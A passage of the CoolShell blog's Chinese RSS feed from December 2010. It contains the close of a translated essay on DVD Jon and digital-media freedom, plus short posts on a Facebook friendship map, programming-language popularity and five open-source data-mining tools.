从来没有在用户友好度上到达像Apple那样的境界。从来没有人在网上检查并整理那些文件内容，所以，当那些众多的文件被共享时，我们可以看到，很多文件加杂时广告，色情，木马，病毒以及其它一些垃圾。当乔布斯为我们提供了那条简单之路，我们接受了。很明显，自由太过头——至少数字媒体是这样的。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignleft size-full wp-image-3410\" title=\"DVD Jon\" src=\"https://coolshell.cn/wp-content/uploads/2010/12/DVD_Jon.jpg\" alt=\"\" width=\"136\" height=\"168\" />这是一个让那些年轻的海盗王们认真学习的教训。就像 Fanning, Frankel 和 Cohen一样， 其实，Jon Lech Johansen 并不能算得上是一个真正的海盗。他没有因为想把好莱坞搞破产而去帮助破解DVD，他这样做是因为他想在他的电脑上看电影。他的电脑安装的是Linux操作系统，而1999年，在Linux上根本没有可以用来播放DVD的程序，所以，他和他的伙伴们决定自己写一个，所以，他们不得不先把DVD给解密了。</p>\n<p>当美国电影协会（ Motion Picture Association of America）发现了DVD被破解的这个事，其向挪威政府控告 Johansen，并拘留了他。 他在奥斯陆(挪威的首都)受审两次，不过两次都被宣告无罪。因为他解密的DVD是他付费购买的。</p>\n<p>但Johansen真正的明白消费者对其购买的数字媒体的权利，这就好像一本书一样——我们可以不断的使用这本书，或是把这本书借出去，这是我们的权利。2005年， Johansen 去了加利福尼亚，在那里，他逆向工程了 FairPlay，这是苹果公司的用来保护其多媒体文件的DRM类软件（译注：这是苹果公司用来加密iPod的工具）。之后，他注意到了苹果公司产品的用户体验是多么的迷人，所以，他在想，应该把这些东西带给全世界给那些更为无序的非苹果的产品。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"size-medium wp-image-3417 alignright\" title=\"iPhone Envy\" src=\"https://coolshell.cn/wp-content/uploads/2010/12/envy-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/12/envy-199x300.jpg 199w, https://coolshell.cn/wp-content/uploads/2010/12/envy.jpg 333w\" sizes=\"(max-width: 199px) 100vw, 199px\" /></p>\n<p>“我们看到这世上有很多很多的产品，但其并没有像他们那样良好地运作”，Johansen说，那时他26岁的程序员。“所以，我们应该开发一个系统，其可以让这些设备的整合起来并给消费者他一个相当不错的用户体验”。</p>\n<p>所谓的 “我们”，就是 Johansen 自己的公司—— doubleTwist，这个公司于2007年创建。 doubleTwist 软件是免费的，是一种像<a href=\"http://zh.wikipedia.org/zh-cn/%E7%BE%85%E5%A1%9E%E5%A1%94%E7%9F%B3%E7%A2%91\" target=\"_blank\">罗塞塔石</a>一样的为数字多媒体软件文件开发的软件——它是可以翻译，和谐并组织大约500种不同设备的文件，把他们放在一起并提供一个相当漂亮的接口。其6月份， doubleTwist 摧出 Android App，当时就有超过50万的用户下载了（译注：大家可以<a href=\"http://www.google.com/search?q=doubleTwist+android+app\" target=\"_blank\">Google一下</a>，好评如潮）。去年， doubleTwist 开始了他的政变打出了这样的广告：“The Cure for iPhone Envy. Your iTunes library on any device. In seconds.”（嫉妒iPhone的对策。你的iTunes库可以在任何设备上，只需几秒钟。）它这个条幅挂在了苹果在旧金山的旗舰店的外墙上。</p>\n<p>Johansen 拒绝承认他和盗版有关系。“至于我被所指责的，真的和我没有什么关系”，他说。“我支持公平使用，意思是你的确是需要合法地获得内容，但你应该有权利使用任何一款设备或是应用程序来查看那些内容”。 Johansen 像所有的海盗王一样，他总是能写好的代码，而这些好的代码给了人民使用的权力。这才是盗版灾难不会发生的真正原因。<strong>盗版永远不希望所有的音乐和电影或是其它的东西成为免费的，他们想要的“free”其实是自由！</strong></p>\n<p>————————————正文结束————————————</p>\n<p>最后一句话是点睛之笔，作者对这个世界的认识真是相当的透彻。所以，加粗了。我个人理解本文带给我如下的启示：</p>\n<ol>\n<li>年轻就应该豁得出去，就应该有天不怕地不怕的想法，并付诸于行动。</li>\n<li>互联网上的盗版永远不会停止，与其说是盗版，其后面则是自由和无政府主义。</li>\n<li>自由过度并不是那些利益集团所希望的，并可能会让你惹上麻烦，不过这世界总是因此而改变。</li>\n<li>版权限制和免费并不是最好的，而最根本的是尊重用户的自由权以及不断地化繁为简以改善用户的体验。</li>\n</ol>\n<p>另，题外话，最近一段时间都在招人，有一天，一个同事和我说，“现在的这些程序员怎么回事啊？我问他们：‘你心目中的最牛的程序员是谁？’，居然回答不出来，有人说是Bill Gates，还有人说是马云，气死我了……”。我想想也真是可笑，难道，Dijkstra，Linus，Ken Thompson，Dennis Ritchie，Richard Steven，Bjarne Stroustrup…… 这些人不认识吗？就知道有钱人，哎，这个时代真是个文化缺失的年代！。</p>\n<p>推荐本站的几篇文章：<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2322.html\">Unix传奇(上篇)</a>、<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2324.html\">Unix传奇(下篇)</a>、<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2724.html\">计算机编程简史图</a>、<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2439.html\">黑客的价值观</a>。</p>\n<p>其实细想一下，不单单是我国的计算机文化都是那些肤浅的大公司的文化。</p>\n<p>最后还是送给大家那句话——<strong>真正让我们成为局域网的不是那个墙，而是我们自己的肤浅</strong>。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3363.html\">偷了世界的程序员</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3363.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>88</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Facebook全球关系网</title>\n\t\t<link>https://coolshell.cn/articles/3396.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3396.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 15 Dec 2010 00:47:15 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Facebook]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3396</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Paul Butler 是Facebook的Data Infrastructure Engineering Team的一个实习生，他把Facebook 5亿用户...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3396.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3396.html\">Facebook全球关系网</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"http://www.facebook.com/paulgb\">Paul Butler</a> 是Facebook的Data Infrastructure Engineering Team的一个实习生，他把Facebook 5亿用户的人际关系网给图示了出来（见下图，<a href=\"http://sphotos.ak.fbcdn.net/hphotos-ak-snc4/hs1382.snc4/163413_479288597199_9445547199_5658562_14158417_n.jpg\" target=\"_blank\">源图片</a>）挺赞的。从中我们可以看到，某些地方是一片漆黑……</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/12/Visualizing-Friendships-on-Facebook.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-large wp-image-3397\" title=\"Visualizing Friendships on Facebook\" src=\"https://coolshell.cn/wp-content/uploads/2010/12/Visualizing-Friendships-on-Facebook-1024x509.png\" alt=\"Facebook 全球关系网\" width=\"574\" height=\"285\" /></a>Facebook全球关系网<br />\n(点击看大图，3.8M)</p>\n<p style=\"text-align: left;\">关于Paul是如何产生这个图的，你可以参看：<a href=\"http://www.facebook.com/notes/facebook-engineering/visualizing-friendships/469716398919\" target=\"_blank\">http://www.facebook.com/notes/facebook-engineering/visualizing-friendships/469716398919</a> （墙）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18140.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/09/react_patent-360x200-1-150x150.jpg\" alt=\"关于Facebook 的 React 专利许可证\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18140.html\" class=\"wp_rp_title\">关于Facebook 的 React 专利许可证</a></li><li ><a href=\"https://coolshell.cn/articles/7448.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"扎克伯格的一封信：关于Facebook IPO\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7448.html\" class=\"wp_rp_title\">扎克伯格的一封信：关于Facebook IPO</a></li><li ><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Quora使用到的技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_title\">Quora使用到的技术</a></li><li ><a href=\"https://coolshell.cn/articles/4549.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"Facebook 的系统架构\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4549.html\" class=\"wp_rp_title\">Facebook 的系统架构</a></li><li ><a href=\"https://coolshell.cn/articles/19.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"时间1234567890\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19.html\" class=\"wp_rp_title\">时间1234567890</a></li><li ><a href=\"https://coolshell.cn/articles/10804.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/x-y.problem-150x150.jpg\" alt=\"X-Y Problem\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10804.html\" class=\"wp_rp_title\">X-Y Problem</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3396.html\">Facebook全球关系网</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3396.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>18</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>编程语言流行度</title>\n\t\t<link>https://coolshell.cn/articles/3385.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3385.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 13 Dec 2010 01:12:56 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[programming language]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3385</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是一个关于编程语言流行度的图（以前本站也有一篇编程语言流行度的文章）。其X轴是从Github中取来的数据（项目数），而Y轴是从StackOverflow取来...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3385.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3385.html\">编程语言流行度</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是一个关于编程语言流行度的图（以前本站也有一篇<a href=\"https://coolshell.cn/articles/706.html\" target=\"_blank\">编程语言流行度的文章</a>）。其X轴是从Github中取来的数据（项目数），而Y轴是从StackOverflow取来的（tag数）。注意：Github提供了语言流行度：<a href=\"https://github.com/languages\">https://github.com/languages</a>，而本图的原始数据在<a href=\"http://www.dataists.com/wp-content/uploads/2010/12/language_ranks1.csv\" target=\"_blank\">这里</a>。</p>\n<figure id=\"attachment_3386\" aria-describedby=\"caption-attachment-3386\" style=\"width: 581px\" class=\"wp-caption aligncenter\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/12/rank_scatter1.png\"><img decoding=\"async\" loading=\"lazy\" class=\"size-large wp-image-3386   \" title=\"编程语言流行度\" src=\"https://coolshell.cn/wp-content/uploads/2010/12/rank_scatter1-1024x768.png\" alt=\"\" width=\"581\" height=\"436\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/12/rank_scatter1-1024x768.png 1024w, https://coolshell.cn/wp-content/uploads/2010/12/rank_scatter1-300x225.png 300w, https://coolshell.cn/wp-content/uploads/2010/12/rank_scatter1-768x576.png 768w, https://coolshell.cn/wp-content/uploads/2010/12/rank_scatter1-360x270.png 360w\" sizes=\"(max-width: 581px) 100vw, 581px\" /></a><figcaption id=\"caption-attachment-3386\" class=\"wp-caption-text\">编程语言流行度（点击看大图）</figcaption></figure>\n<p>来源：<a href=\"http://www.dataists.com/2010/12/ranking-the-popularity-of-programming-langauges/\" target=\"_blank\">http://www.dataists.com/2010/12/ranking-the-popularity-of-programming-langauges/</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/02/programming-language-150x150.jpg\" alt=\"千万别惹程序员 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_title\">千万别惹程序员 </a></li><li ><a href=\"https://coolshell.cn/articles/4626.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"读书笔记：对线程模型的批评\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4626.html\" class=\"wp_rp_title\">读书笔记：对线程模型的批评</a></li><li ><a href=\"https://coolshell.cn/articles/3100.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/language-evolution-150x150.jpg\" alt=\"编程语言进化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3100.html\" class=\"wp_rp_title\">编程语言进化</a></li><li ><a href=\"https://coolshell.cn/articles/2724.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/07/aboutprogramming04.eng_-150x150.jpg\" alt=\"计算机编程简史图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2724.html\" class=\"wp_rp_title\">计算机编程简史图</a></li><li ><a href=\"https://coolshell.cn/articles/2598.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg\" alt=\"五个编程语言设计的失误\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2598.html\" class=\"wp_rp_title\">五个编程语言设计的失误</a></li><li ><a href=\"https://coolshell.cn/articles/2539.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"参透软件开发的本质 &#8211; Uncle Bob Martin 推荐的经典书籍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2539.html\" class=\"wp_rp_title\">参透软件开发的本质 &#8211; Uncle Bob Martin 推荐的经典书籍</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3385.html\">编程语言流行度</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3385.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>6</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>五个免费开源的数据挖掘软件</title>\n\t\t<link>https://coolshell.cn/articles/3356.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3356.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 13 Dec 2010 00:41:11 +0000</pubDate>\n\t\t\t\t<category><![CDATA[数据库]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[jHepWork]]></category>\n\t\t<category><![CDATA[KNIME]]></category>\n\t\t<category><![CDATA[Orange]]></category>\n\t\t<category><![CDATA[RapidMiner]]></category>\n\t\t<category><![CDATA[Weka]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3356</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在网上看到一篇文章介绍五个免费开源的数据挖掘软件，转过来。 Orange Orange 是一个基于组件的数据挖掘和机器学习软件套装，它的功能即友好，又很强大，快...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3356.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3356.html\">五个免费开源的数据挖掘软件</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在网上看到一篇文章介绍五个免费开源的数据挖掘软件，转过来。</p>\n<h4>Orange</h4>\n<p><a href=\"http://www.ailab.si/orange\"><img decoding=\"async\" id=\"BLOGGER_PHOTO_ID_5543415731299792802\" class=\"alignleft\" src=\"https://coolshell.cn/wp-content/uploads/2010/12/orange-data-mining-software.jpg\" border=\"0\" alt=\"\" /></a><a href=\"http://www.ailab.si/orange\">Orange</a> 是一个基于组件的数据挖掘和机器学习软件套装，它的功能即友好，又很强大，快速而又多功能的可视化编程前端，以便浏览数据分析和可视化，基绑定了Python以进行脚本开发。它包含了完整的一系列的组件以进行数据预处理，并提供了数据帐目，过渡，建模，模式评估和勘探的功能。其由C++ 和 Python开发，它的图形库是由跨平台的Qt框架开发。</p>\n<h4>RapidMiner</h4>\n<p><a href=\"http://rapidminer.com/\" target=\"_blank\"><img decoding=\"async\" id=\"BLOGGER_PHOTO_ID_5543415710727537026\" class=\"alignleft\" style=\"border: 0px initial initial;\" src=\"https://coolshell.cn/wp-content/uploads/2010/12/data-mining-software-rapidminer.jpg\" border=\"0\" alt=\"\" /></a><a href=\"http://rapidminer.com/\" target=\"_blank\">RapidMiner</a>, 以前叫 YALE (Yet Another Learning Environment), 其是一个给机器学习和数据挖掘和分析的试验环境，同时用于研究了真实世界数据挖掘。它提供的实验由大量的算子组成，而这些算子由详细的XML 文件记录，并被RapidMiner图形化的用户接口表现出来。RapidMiner为主要的机器学习过程提供了超过500算子，并且，其结合了学习方案和Weka学习环境的属性评估器。它是一个独立的工具可以用来做数据分析，同样也是一个数据挖掘引擎可以用来集成到你的产品中。</p>\n<p><span id=\"more-3356\"></span></p>\n<h4>Weka</h4>\n<p><a href=\"http://www.cs.waikato.ac.nz/~ml/weka/\" target=\"_blank\"><img decoding=\"async\" id=\"BLOGGER_PHOTO_ID_5543415721879376210\" class=\"alignleft\" src=\"https://coolshell.cn/wp-content/uploads/2010/12/data-mining-software-weka.jpg\" border=\"0\" alt=\"\" /></a>由Java开发的 <a href=\"http://www.cs.waikato.ac.nz/~ml/weka/\" target=\"_blank\">Weka</a> (Waikato Environment for Knowledge Analysis) 是一个知名机器学机软件，其支持几种经典的数据挖掘任务，显著的数据预处理，集群，分类，回归，虚拟化，以及功能选择。其技术基于假设数据是以一种单个文件或关联的，在那里，每个数据点都被许多属性标注。 Weka 使用Java的数据库链接能力可以访问SQL数据库，并可以处理一个数据库的查询结果。它主要的用户接品是Explorer，也同样支持相同功能的命令行，或是一种基于组件的知识流接口。</p>\n<h4>JHepWork</h4>\n<p><a href=\"http://jwork.org/jhepwork/\" target=\"_blank\"><img decoding=\"async\" loading=\"lazy\" id=\"BLOGGER_PHOTO_ID_5543415732754041410\" class=\"alignleft\" style=\"border: 0px initial initial;\" src=\"https://coolshell.cn/wp-content/uploads/2010/12/data_mining_software_jhepwork.jpg\" border=\"0\" alt=\"\" width=\"98\" height=\"88\" /></a>为科学家，工程师和学生所设计的 <a href=\"http://jwork.org/jhepwork/\" target=\"_blank\">jHepWork</a> 是一个免费的开源数据分析框架，其主要是用开源库来创建 一个数据分析环境，并提供了丰富的用户接口，以此来和那些收费的的软件竞争。它主要是为了科学计算用的二维和三维的制图，并包含了用Java实现的数学科学库，随机数，和其它的数据挖掘算法。 jHepWork 是基于一个高级的编程语言 Jython，当然，Java代码同样可以用来调用 jHepWork 的数学和图形库。</p>\n<h4>KNIME</h4>\n<p><a href=\"http://www.knime.org/\" target=\"_blank\"><img decoding=\"async\" id=\"BLOGGER_PHOTO_ID_5543415704482067682\" class=\"alignleft\" style=\"border: 0px initial initial;\" src=\"https://coolshell.cn/wp-content/uploads/2010/12/data-mining-software-KNIME.jpg\" border=\"0\" alt=\"\" /></a><a href=\"http://www.knime.org/\" target=\"_blank\">KNIME</a> (Konstanz Information Miner) 是一个用户友好，智能的，并有丰演的开源的数据集成，数据处理，数据分析和数据勘探平台。它给了用户有能力以可视化的方式创建数据流或数据通道，可选择性地运行一些或全部的分析步骤，并以后面研究结果，模型 以及 可交互的视图。 KNIME 由Java写成，其基于 Eclipse 并通过插件的方式来提供更多的功能。通过以插件的文件，用户可以为文件，图片，和时间序列加入处理模块，并可以集成到其它各种各样的开源项目中，比如：R语言，Weka， Chemistry Development Kit, 和 LibSVM.</p>\n<p>源文：<a href=\"http://www.junauza.com/2010/11/free-data-mining-software.html\">http://www.junauza.com/2010/11/free-data-mining-software.html</a>（墙）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"深入浅出单实例Singleton设计模式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/265.html\" class=\"wp_rp_title\">深入浅出单实例Singleton设计模式</a></li><li ><a href=\"https://coolshell.cn/articles/3156.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"Go语言的&#8221;Issue 9&#8243; Closed!\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3156.html\" class=\"wp_rp_title\">Go语言的&#8221;Issue 9&#8243; Closed!</a></li><li ><a href=\"https://coolshell.cn/articles/16.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/cccpairprogramming-150x150.jpg\" alt=\"结对编程的利与弊\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/16.html\" class=\"wp_rp_title\">结对编程的利与弊</a></li><li ><a href=\"https://coolshell.cn/articles/23.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"Fork 系统炸弹\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/23.html\" class=\"wp_rp_title\">Fork 系统炸弹</a></li><li ><a href=\"https://coolshell.cn/articles/313.html\" class=\"wp_rp_thumbnail\"><img 